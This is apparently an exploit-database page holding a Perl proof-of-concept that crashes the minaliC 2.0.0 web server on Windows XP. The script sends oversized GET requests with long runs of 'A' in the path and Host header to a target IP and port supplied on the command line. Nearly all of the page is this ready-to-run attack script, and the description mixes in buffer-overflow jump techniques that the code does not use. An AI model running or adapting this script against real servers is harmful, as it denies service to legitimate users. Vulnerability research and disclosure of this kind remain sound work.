Minalic 2.0.0 denied of service Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-03-22 | Type : remote | Platform : windows

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[+] Code ...

#!/usr/bin/perl


use Socket;

# Exploit Title: minaliC 2.0.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 03 january 2024
# Vendor Homepage: http://minalic.sourceforge.net/
# Notification vendor: No reported
# Tested Version: minaliC 2.0.0
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=R_gkEjvpJNw

#1. Description

#This technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... \n";

my $junk = "\x41" x 245;

my $host = "\x41" x 135;
my $i=0;
while ($i <= 3) {
my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n";

my $sock;
socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n";

my $addr = sockaddr_in($port, inet_aton($ip));
connect($sock, $addr);

send($sock, $buf, length($buf), 0);

$i++;

}

print "[+] Done - Exploited success!!!!!\n\n";

sub intro {
print "***************************************************\n";
print "* minaliC 2.0.0 - Denied of Service *\n";
print "* *\n";
print "* Coded by Fernando Mengali *\n";
print "* *\n";
print "* e-mail: fernando.mengalli\@gmail.com *\n";
print "* *\n";
print "***************************************************\n";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " \nUsage: $0 <ip> <port> \n";
exit(-1);

}
}